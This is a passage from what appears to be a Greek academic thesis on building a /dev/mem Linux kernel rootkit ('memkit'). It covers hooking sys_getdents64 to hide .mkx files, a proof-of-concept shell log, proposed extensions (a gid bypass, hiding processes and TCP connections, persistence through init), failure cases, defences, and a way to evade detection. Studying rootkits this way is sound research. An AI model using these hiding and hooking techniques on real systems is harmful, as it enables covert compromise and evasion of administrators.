ένα αρχείο το οποίο περιέχει μία 85

λίστα αρχείων και άλλων φακέλων. Ο φάκελος όμως αυτός θα μπορούσε να ανήκει σε ένα οποιοδήποτε σύστημα αρχείων, με αποτέλεσμα να μην μπορεί να υπάρξει ένας σταθερός κώδικας για την ανάγνωση αυτού του φακέλου. Αντίθετα η ανάγνωση αυτού του φακέλου γίνεται με την βοήθεια ενός pointer προς την πραγματική διεύθυνση ανάγνωσης, του εκάστοτε συστήματος αρχείων. Χωρίς να μπούμε σε περισσότερες λεπτομέρειες, στην πράξη η λειτουργία read() ενός φακέλου γίνεται με την κλήση της μεθόδου, file->f_op->readdir(...); Όπου file είναι είδους struct file και είναι ο φάκελός μας. struct file { union { struct list_head struct rcu_head } f_u; struct path #define f_dentry #define f_vfsmnt fu_list; fu_rcuhead; f_path; f_path.dentry f_path.mnt const struct file_operations... }; *f_op; K12. Το αντικείμενο file Αυτό το αντικείμενο περιέχει ένα στοιχείο το οποίο είναι ένας δείκτης σε αντικείμενο, το struct file_operations *f_op. struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read)(struct file *, char user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char user *, size_t, loff_t *); 86

ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll)(struct file *, struct poll_table_struct *);... }; K13. Το αντικείμενο file_operations Στο f_op υπάρχουν όλες οι μέθοδοι για τις λειτουργίες πάνω στα αρχεία (ανάγνωση/εγγραφή κλπ). Τώρα είμαστε έτοιμοι να εξετάσουμε την μέθοδο vfs_readdir(). int vfs_readdir(struct file *file, filldir_t filler, void *buf){ out: } struct inode *inode = file->f_path.dentry->d_inode; int res = -ENOTDIR; if (!file->f_op!file->f_op->readdir) goto out; res = security_file_permission(file, MAY_READ); if (res) goto out; mutex_lock(&inode->i_mutex); res = -ENOENT; if (!IS_DEADDIR(inode)) { res = file->f_op->readdir(file, buf, filler); file_accessed(file); } mutex_unlock(&inode->i_mutex); return res; K14. Η μέθοδος vfs_readdir() Η μέθοδος readdir μεταφράζεται στην εκάστοτε μέθοδο για ανάγνωση από το 87

αντίστοιχο σύστημα αρχείων. Σε κάθε περίπτωση το αποτέλεσμα θα είναι το buf που αντιστοιχεί στο buf του K1, και δεν είναι άλλο από την ουρά της λίστας μας. Αφού ξέρουμε τη μορφή των αποτελεσμάτων της μεθόδου sys_getdents64 μπορούμε να φτιάξουμε το κομμάτι κώδικα που θα λειτουργεί σαν ενδιάμεσο δηλαδή να κάνουμε το hooking. Το αποτέλεσμα αυτού του κώδικα θα είναι η αποσύνδεση (unlinking) από τη λίστα getdents_callback64 του κόμβου dirent64 το οποίο αντιστοιχεί σε αρχείο με την κατάληξη.mkx. Η διαδικασία φαίνεται στο Σχήμα 16. Σχήμα 16. Αποσύνδεση αντικειμένου από την λίστα των εγγραφών ενός φακέλου. Το όνομα του κάθε αρχείου είναι το χαρακτηριστικό d_name του struct dirent64. Η ανάπτυξη του κώδικα θα γίνει σε assembly, γι'αυτό το λόγο κάποιες λεπτομέρειες σχετικά με τον τρόπο που επιτελούνται οι κλήσεις συστήματος μας είναι απαραίτητες. Σε μια κλήση συστήματος που γίνεται από ένα χαμηλότερο επίπεδο (privilege level), όπως αυτό του χρήστη, η στοίβα προγράμματος αλλάζει. Σε αυτήν τη περίπτωση λέμε ότι συμβαίνει ένα stack switch, η εκτέλεση του προγράμματος δηλαδή μεταφέρεται σε διαφορετική στοίβα, ενώ οι λειτουργίες που επιτελούνται από τον επεξεργαστή είναι οι εξής, 88

1. Προσωρινή αποθήκευση των καταχωρητών SS, ESP, EFLAGS, CS, και EIP. 2. Φόρτωση του segment selector και δείκτη στοίβας (stack pointer) για την καινούργια στοίβα (δηλαδή την στοίβα του επιπέδου που καλείται),από το TSS στους καταχωρητές SS και ESP, και μεταφορά σε αυτήν. 3. Τοποθέτηση των προσωρινά αποθηκευμένων τιμών των SS, ESP, EFLAGS, CS, και EIP για την διαδικασία της οποίας η στοίβα εγκαταλείφθηκε στην καινούργια στοίβα. 4. Τοποθέτηση ενός κωδικού λάθους (error code) στην στοίβα (εάν χρειάζεται). 5. Φόρτωση του segment selector για το καινούργιο τμήμα κώδικα (code segment) και τον καινούργιο EIP (δηλαδή αυτό του εξυπηρετητή της διακοπή, interrupt gate ή trap gate) στους καταχωρητές CS και EIP αντίστοιχα. 6. Εάν η κλήση είναι μέσω interrupt gate, καθαρισμός του IF flag στον καταχωρητή EFLAGS. 7. Εκκίνηση της εκτέλεσης του εξυπηρετητή της διακοπής στο καινούργιο privilege level. Η μορφή και για τις δύο στοίβες παρουσιάζεται στο Σχήμα 17. 89

Στοίβα διαδικασίας που διακόπτεται +------- ------- + <- ESP πριν +------- ------- + την μεταφορά στον handler +------- ------- + +------- ------- + +------- ------- + Στοίβα εξυπηρετητή διακοπής +------- ------- + SS +------- ------- + ESP +------- ------- + EFLAGS +------- ------- + CS +------- ------- + EIP +------- ------- + ERROR CODE <-ESP μετά την +------- ------- + μεταφορά στον handler Σχήμα 17. Κορυφή της στοίβας πριν και μετά την μεταφορά Ο κώδικας για αρχιτεκτονική x86 παρουσιάζεται στο ΠΑΡΑΡΤΗΜΑ Β. Πίσω στο πρόγραμμά μας χρησιμοποιούμε στο αντίστοιχο shellcode που παράγουμε από τον κώδικα. Δεν ξεχνάμε φυσικά να αλλάξουμε την διεύθυνση της getdents64 στην εκάστοτε διεύθυνση μέσα στο string που περιέχει το shellcode. Η υλοποίηση έχει γίνει για αρχιτεκτονική x86, ενώ είναι δυνατή η μεταφορά αυτού σε x86_64. Αυτό ήταν το τελευταίο βήμα στη ανάπτυξη του προγράμματος. Ώντας πλέον έτοιμο, μπορούμε να το τρέξουμε και να πάρουμε τα επιθυμητά αποτελέσματα. Έχουμε προσθέσει τις λειτουργίες install, print και uninstall οι οποίες αντιπροσωπεύονται από τα ορίσματα i, p και u αντίστοιχα. Ο κώδικας παρουσιάζεται ολοκληρωμένος στο ΠΑΡΑΡΤΗΜΑ Γ. 90

Στο K 26 παρουσιάζεται η αλληλουχία βημάτων που αποδικνύουν την επιτυχή λειτουργία του rootkit στο ΛΣ της επιλογής μας, που την συγκεκριμένη περίπτωση είναι το Slackware 2.6.21.5 - i686 (x86). Αρχικά δημιουργούμε ένα αρχείο με την ονομασία test.mkx. Αφού τρέξουμε το πρόγραμμα memkit, το αρχείο test.mkx αυτό μπορεί να παραμείνει κρυμμένο για όσο χρόνο αφήσουμε την μέθοδο του πυρήνα να δείχνει στην δική μας. Αυτό είναι ένα απλό παράδειγμα, ενώ αποτελεί μονάχα την αρχή μια πληθώρας δυνατοτήτων που ανοίγονται πάνω στην λειτουργία του συστήματος-στόχος. 91

bash-3.1$ su Password: bash-3.1#./memkit i opened /dev/mem to fd : 3 idt_table; system_call; sys_call_table; 0xc08fc000 0xc0102a98 0xc07134c0 0xc0162d10 kmalloc; new sys_getdents64 will be at: 0xc90ab000 [hooked] bash-3.1# touch test.mkx bash-3.1# ls grep mkx bash-3.1#./memkit p opened /dev/mem to fd : 3 idt_table; system_call; sys_call_table; getdents64; bash-3.1#./memkit u opened /dev/mem to fd : 3 idt_table; system_call; sys_call_table; uninstalling restoring getdents64.. bash-3.1# ls grep mkx test.mkx 0xc08fc000 0xc0102a98 0xc07134c0 0xc90ab000 0xc08fc000 0xc0102a98 0xc07134c0 K 26. Proof of concept του /dev/mem rootkit (memkit) 92

16 Περαιτέρω ανάπτυξη Το πρόγραμμα στην παρούσα υλοποίηση επιτελεί την απλή εργασία της απόκρυψης αρχείων κατά την ανάγνωση των περιεχομένων φακέλων. Οποιοσδήποτε γνωρίζει την ύπαρξη αυτών των αρχείων μπορεί να διαβάσει τα περιεχόμενά τους ή να τα τροποποιήσει. Οι τρόποι που το πρόγραμμα θα μπορούσε να επεκταθεί περιορίζονται μόνο από την φαντασία του εκάστοτε δημιουργού. Οι δυνατότητες που έχουμε είναι απεριόριστες. Μερικές από αυτές φαίνονται παρακάτω. Αρχικά, παρατηρούμε πως δεν υπάρχει κανένας τρόπος για την οντότητα που εγκατέστησε το πρόγραμμα να παρακάμπτει την λειτουργία του. Αυτό είναι κάτι βασικό σε κάθε ενεργό malware ή άλλο παρόμοιο πρόγραμμα. Ο πιο συνηθισμένος τρόπος υλοποίησης είναι να θεωρούμε μία καινούργια ομάδα (group). Το rootkit μπορεί να ξεκινά την λειτουργία του με το gid (group id) αυτής της ομάδας. Στους ελέγχους του προγράμματος προστίθενται και αυτοί του gid της διεργασίας εκ μέρους της οποίας γίνονται οι διάφορες κλήσεις συστήματος. Σε κάθε μία κλήση συστήματος που έχουμε τροποποιήσει, εάν βρεθεί το συγκεκριμένο gid, τότε η κλήση επιτελείται σαν να μην υπάρχει εγκατεστημένο κανένα ενδιάμεσο πρόγραμμα. Φυσικά το εν λόγω gid αφήνεται στην εκάστοτε επιλογή του καθενός και δεν παραμένει σταθερό, ενώ ταυτόχρονα ενδεχομένως να πρέπει να παραμείνει κρυφό. Μπορούμε τώρα να προχωρήσουμε κρύβοντας επιπλέον στοιχεία του λειτουργικού συστήματος. 93

Ανάγνωση/Εγγραφή Αρχείων Τα αρχεία και οι φάκελοι του συστήματος με την κατάληξη.mkx είναι κρυμμένα κατά την ανάγνωση των φακέλων στους οποίους ανήκουν. Αυτό που αποκρύπτεται λοιπόν είναι η ύπαρξή τους. Τίποτα δεν τα προστατεύει όμως από εγγραφές ή αναγνώσεις όταν κάποιος γνωρίζει την ύπαρξή τους. Σ'αυτή την τροποποίηση μπορεί πλέον να ληφθεί υπ όψην το gid της διεργασίας που ζητά την ανάγνωσή τους. Διεργασίες Διεργασίες που έχουν σχέση με το rootkit θα πρέπει επίσης να μην είναι ορατές. Συνδέσεις TCP Το πιο σημαντικό ίσως σημείο είναι η απόκρυψη συνδέσεων. Η σύνδεση με το διαδίκτυο είναι αυτή που παρέχει έναν απομακρυσμένο τρόπο ελέγχου του συστήματος. Είναι επομένως ουσιώδες στην περίπτωση που θέλουμε το rootkit να μην λειτουργεί μόνο τοπικά. Οι ενεργές συνδέσεις στο Linux είναι προσβάσιμες μέσω του αρχείου /proc/net/tcp του proc virtual file system. Τα περιεχόμενα αυτού του αρχείου παρουσιάζονται στο K 27. Η κλήση συστήματος tcp4_seq_show επιστρέφει τα περιεχόμενα αυτού του αρχείου. Ο κώδικας του handler φαίνεται στο ΠΑΡΑΡΤΗΜΑ Α. Θα μπορούσαμε να κρύψουμε συνδέσεις δικτύου μέσω των οποίων αποστέλλονται από αλλαγές στον κωδικό του super user μέχρι και ένα shell. 94

bash:~$ cat /proc/net/tcp sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt ui d timeout inode 0: 0100007F:08A0 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 6286 1 e4e6db80 750 0 0 2-1 1: 0100007F:B1E3 00000000:0000 0A 00000000:00000000 00:00000000 00000000 10 4 0 6298 1 e4e6d700 750 0 0 2-1 2: 00000000:8028 00000000:0000 0A 00000000:00000000 00:00000000 00000000 100 0 0 7203 1 e0dbdb80 750 0 0 2-1 3: 00000000:008B 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 6892 1 e4e6c080 750 0 0 2-1 4: 00000000:1770 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 7144 1 e4e6c980 750 0 0 2-1 5: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 7016 1 e4e6c500 750 0 0 2-1 6: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 6485 1 e4e6d280 750 0 0 2-1 7: 00000000:01BD 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 6891 1 e4e6ce00 750 0 0 2-1 8: 40080A0A:C180 271B2ECF:0747 01 00000000:00000000 00:00000000 00000000 100 0 0 7602 1 e0dbc980 195 10 0 2-1 9: 40080A0A:B782 0B70AE80:0050 01 00000000:00000000 00:00000000 00000000 100 0 0 7816 1 d13f8e00 157 10 0 2-1 K 27. Τα περιεχόμενα του /proc/net/tcp Η διαδικασία που ακολουθείται είναι περίπου ίδια με την ανάγνωση των περιεχομένων ενός φακέλου. Εδώ, επίσης, μπορεί να τεθεί προϋπόθεση για την απόκρυψη της σύνδεσης, το gid να είναι διαφορετικό από το επιλεγμένο gid. Εμείς επιλέξαμε να κρύψουμε αρχεία με την κατάληξη mkx. Σε πραγματικό περιβάλλον οπωσδήποτε αυτό δεν είναι αρκετό. Για παράδειγμα ας φανταστούμε την περίπτωση που στο σύστημα υπάρχουν ήδη αρχεία με αυτό το όνομα. Το ότι αυτά τα αρχεία ξαφνικά εξαφανίστηκαν θα μπορούσε να προκαλέσει υποψίες. Θα μπορούσαν επομένως να προστεθούν και άλλες προϋποθέσεις για την απόκρυψή τους. Αυτές θα μπορούσαν είτε να βασίζονται και πάλι στο όνομα, είτε να έχουν μια ειδική τιμή σε κάποια από τις εγγραφές του αντικειμένου file, ίσως κάποιες που δεν χρησιμοποιούνται τόσο συχνά. 95

17 Περιπτώσεις αποτυχίας Πριν αναφερθούμε αναλυτικά στα μέτρα προστασίας ενάντια στο συγκεκριμένο είδος ιού, θα γίνει μία περιγραφή των αδυναμιών του προγράμματος που αναπτύξαμε. Στην πραγματικότητα, ένα τέτοιο πρόγραμμα θα μπορούσε να χρησιμεύσει σε οποιονδήποτε αποφασίσει να χρησιμοποιήσει έναν εναλλακτικό τρόπο να κρύβει αρχεία στο σύστημά του, ίσως μάλιστα από 'κακόβουλους' χρήστες. Πρώτο προφανές μειονέκτημα είναι ότι βασίζεται στην μέθοδο του 'bruting' για να βρει τις ενδιαφέρουσες μεθόδους στην μνήμη. Αυτό θα μπορούσε να οδηγήσει σε λανθασμένα αποτελέσματα, ίσως κάποια 'σκουπίδια' που έτυχε να βρίσκονται στην μνήμη. Για παράδειγμα, ας υποθέσουμε πως αναγνωρίζουμε λανθασμένα έναν τυχαίο αριθμό ως την διεύθυνση της kmalloc. Αυτός ο αριθμός, τον οποίο εμείς θεωρούμε διεύθυνση, 'δείχνει' σε μία τυχαία θέση, όπου υπάρχουν επίσης 'σκουπίδια'. Στην καλύτερη περίπτωση η κλήση θα αποτύχει σαν μη έγκυρη διεύθυνση μνήμης, ή θα προκαλέσει ένα kernel panic, ή ακόμη χειρότερα θα αρχίσει να μεταφράζει τα δεδομένα της περιοχής αυτής ως κώδικα, με άγνωστα αποτελέσματα. Τα ίδια ακριβώς αποτελέσματα θα μπορούσαν να υπάρξουν όχι μόνο κατά την εγκατάσταση του προγράμματος, αλλά και κατά την απεγκατάστασή του. Αυτό φυσικά θα συμβεί μόνο εάν δεν είμαστε αρκετά προσεκτικοί και προσπαθήσουμε να κάνουμε απεγκατάσταση του προγράμματος χωρίς να έχει γίνει ποτέ η 96

εγκατάσταση. Από τον κώδικα φαίνεται ότι η πρωταρχική διεύθυνση των κλήσεων συστήματος που αντικαθιστούμε τοποθετείται σε μια συγκεκριμένη περιοχή που αποφασήσαμε να είναι 1200 byte μετά την αρχή της περιοχής μνήμης που δεσμεύσαμε με την βοήθεια της kmalloc(). Η περιοχή αυτή ξεκινά με τον καινούργιο κώδικα που εμείς τοποθετήσαμε, και καθώς κανένα shellcode που έχουμε γράψει δεν είναι μεγαλύτερο από 1200 byte αυτό μας επιτρέπει να γράψουμε εκεί την παλιά διεύθυνση. Σε περίπτωση που θελήσουμε να χρησιμοποιήσουμε την uninstall λειτουργία του προγράμματος, η διαδικάσία που ακολουθείται είναι η εξής, 1) Ανίχνευση της διεύθυνσης της μεθόδου της κλήσης συστήματος getdents64 από τον πίνακα διακοπών. 2) Αντιγραφή του ακεραίου αριθμούπου θα διαβαστεί από την περιοχή που βρίσκεται 1200 byte μετά την διεύθυνση που επιστρέφεται στο προηγούμενο βήμα. 3) Ορισμός αυτής της διεύθυνσης ως την διεύθυνση της μεθόδου της κλήσης συστήματος. Εάν δεν έχουμε εγκαταστήσει εμείς το πρόγραμμα, σε εκείνη την περιοχή θα βρούμε μάλλον κώδικα της ίδιας ή κάποιας άλλης μεθόδου πυρήνα. Ο ακέραιος αριθμός που βρίσκουμε μεταφράζεται ως διεύθυνση και η αναφορά σε αυτή την διεύθυνση το πιθανότερο θα προκαλέσει ένα kernel panic. Προσοχή επίσης θα πρέπει να δοθεί στην περίπτωση που το σύστημά μας έχει περισσότερες από μία επεξεργαστικές μονάδες. Εδώ οι αλλαγές που προκαλεί η δική μας διεργασία θα μπορούσαν να έχουν ανεξέλεγκτα αποτελέσματα στην 97

διεργασία που εκτελείται παράλληλα σε άλλη επεξεργαστική μονάδα και διαχειρίζεται τους ίδιους πόρους με εμάς. Ο πυρήνας χρησιμοποιεί την μέθοδο του κλειδώματος για κρίσιμες τέτοιες περιπτώσεις γνωστές ως race conditions. Κάτι ακόμη που 'λείπει' από το πρόγραμμά μας είναι ένας τρόπος να ελευθερώνεται η μνήμη όταν αποφασίσουμε να κάνουμε απεγκατάσταση του προγράμματος. Η μνήμη πυρήνα που δεν χρησιμοποιούμε πλέον πρέπει να ελευθερώνεται με την μέθοδο kfree(), διαφορετικά ο πυρήνας την θεωρεί δεσμευμένη. Με διαδοχικές εγκαταστάσεις και απεγκαταστάσεις του προγράμματος, θα μπορούσαμε να καταλήξουμε με πολλά κομμάτια δεσμευμένης μη χρησιμοποιούμενης μνήμης, μια κατάσταση όχι τόσο κρίσιμη στην συγκεκριμένη περίπτωση, αλλά ωστόσο μη επιθυμητή. Τέλος, όλη η διαδικασία θα μπορούσε να 'τιναχτεί στον αέρα' σε περίπτωση που έχουμε να κάνουμε με λειτουργικό που τρέχει πάνω σε VMware. Σε αυτή την περίπτωση, η κλήση της εντολής sidt ενδέχεται να μην επιστρέψει την διεύθυνση του IDT του τρέχοντος λειτουργικού. Χωρίς αυτό μας είναι αδύνατο να βρούμε τις διευθύνσεις των κλήσεων συστήματος στην παρούσα υλοποίηση. Η ύπαρξη ενός VM δεν είναι κάτι το τόσο σπάνιο. Όλο και περισσότεροι σταθμοί εργασίας, αλλά και server, σε δίκτυα επιχειρήσεων ή και μικρότερα, λειτουργούν πάνω σε τέτοιες μηχανές. Με το virtualization η εξοικονόμηση σε hardware είναι σημαντική και σε συνδιασμό με τις όλο αυξανόμενες δυνατότητες του, έχει καταστεί μία ελκυστική λύση. 98

18 Μέτρα προστασίας 18.1.1 Κλείδωμα αρχείου /dev/mem Για να υπάρξει πλήρης προστασία από αυτού του είδους τις αλλοιώσεις στο σύστημα, η εγγραφή στο /dev/mem θα πρέπει να απαγορευθεί πλήρως. Με αυτό δεν εννοούμε την απαγόρευση του δικαιώματος εγγραφής w, από όλους τους χρήστες, καθώς αυτό μπορεί να αλλάξει τόσο εύκολα όσο να τεθεί. Η απαγόρευση δημιουργείται με την αλλαγή του κώδικα του πυρήνα και έχει εντελώς διαφορετική σημασία. Κάτι τέτοιο όμως δεν είναι επιθυμητό καθώς πολλοί drivers χρησιμοποιούν αυτό το αρχείο για την πρόσβαση στη μνήμη. Αυτοί οι drivers είναι γνωστοί με την ονομασία user mode drivers για να διαχωρίζονται από τα kernel modules. 18.1.2 Επανεκκίνηση Γεγονός είναι πως το πρόγραμμα στην παρούσα υλοποίηση δεν παραμένει στο σύστημα μετά από επανεκκίνηση. Επομένως όλα θα επανέλθουν στις αρχικές φυσιολογικές συνθήκες μετά από μια απλή επανεκκίνηση. Ένας τρόπος να παρακαμφθεί αυτό θα ήταν να κρυφτεί το ίδιο το πρόγραμμα στην διαδικασία init του συστήματος. Με αυτό τον τρόπο οι αλλαγές θα επιτελούνται με κάθε επανεκκίνηση. 99

18.1.3 Inotify Κάτι που θα μπορούσε να δυσκολέψει τα πράγματα για την συγκεκριμένη περίπτωση είναι η παρακολούθηση του αρχείου /dev/mem. Εργαλεία όπως το Inotify βοηθάνε στην παρακολούθηση εργασιών πάνω σε αρχεία. Ο διαχειριστής του συστήματος ειδοποιείται για εγγραφή, ανάγνωση και άλλες εργασίες πάνω σε αυτά [23]. 18.1.4 Backup του System.map Η πρόληψη είναι πάντα το καλύτερο μέτρο, γι'αυτό κανείς μπορεί να προνοήσει για μία τέτοια κατάσταση στην αρχική εγκατάσταση του συστήματος. Ένα back-up με τις αρχικές διευθύνσεις των μεθόδων του πυρήνα σε ένα εξωτερικό μέσο αποθήκευσης, και η συχνή σύγκριση αυτών με τις τωρινές μπορεί να αποκαλύψει οποιαδήποτε αλλαγή. 18.1.5 Αυτόματος έλεγχος Ένα αυτόματο εργαλείο ελέγχου θα μπορούσε ίσως να δώσει κάποιες ενδείξεις για την ύπαρξη μίας τέτοιας κατάστασης. Για παράδειγμα, όταν ένας εξυπηρετητής μιας κλήσης συστήματος (system call handler) έχει αλλαχθεί ώστε να δείχνει σε κάποια άλλη διεύθυνση μνήμης, αυτή η περιοχή στην οποία δείχνει αναγκαστικά θα είναι σε έναν χώρο διαφορετικό από αυτόν της εικόνας του πυρήνα, αφού θα είναι το αποτέλεσμα της κλήσης της kmalloc(). Με άλλα λόγια, η διεύθυνση μπορεί να διαφέρει με ύποπτο τρόπο από τις υπόλοιπες διευθύνσεις των εξυπηρετητών. Αυτό το γεγονός θα μπορούσε να χρησιμοποιηθεί στην ανίχνευση τέτοιων καταστάσεων, αλλά όχι με απόλυτη επιτυχία καθώς θα μπορούσε και αυτό να 100

παρακαμφτεί. Η παράκαμψη θα μπορούσε θεωρητικά να γίνει ως εξής: Η διεύθυνση του handler παραμένει ως έχει, αντίθετα όλος ο κώδικας του handler αντιγράφεται σε μία τρίτη περιοχή μνήμης, επίσης καινούργια και αποτέλεσμα της kmalloc(). Έπειτα στο αρχικό μέρος του handler, τοποθετείται ένα κομμάτι κώδικα που μεταφέρει τον έλεγχο πρώτα στην διεύθυνση που επιτελεί το hooking, και η οποία θα καλεί τον πραγματικό handler από την τρίτη περιοχή μνήμης. Για την κατανόηση αυτού δίνεται στο Σχήμα 18. Σχήμα 18. Διαδικασία hooking στον πίνακα κλήσεων συστήματος Το σημείο 1, είναι η περιοχή του πραγματικού handler στην οποία τοποθετούμε κώδικα που μας μεταφέρει στην περιοχή 2. Αυτήν τη περιοχή, καθώς και την περιοχή 3 έχουμε δεσμεύσει με την χρήση της kmalloc(). Στην περιοχή 3 έχουμε 101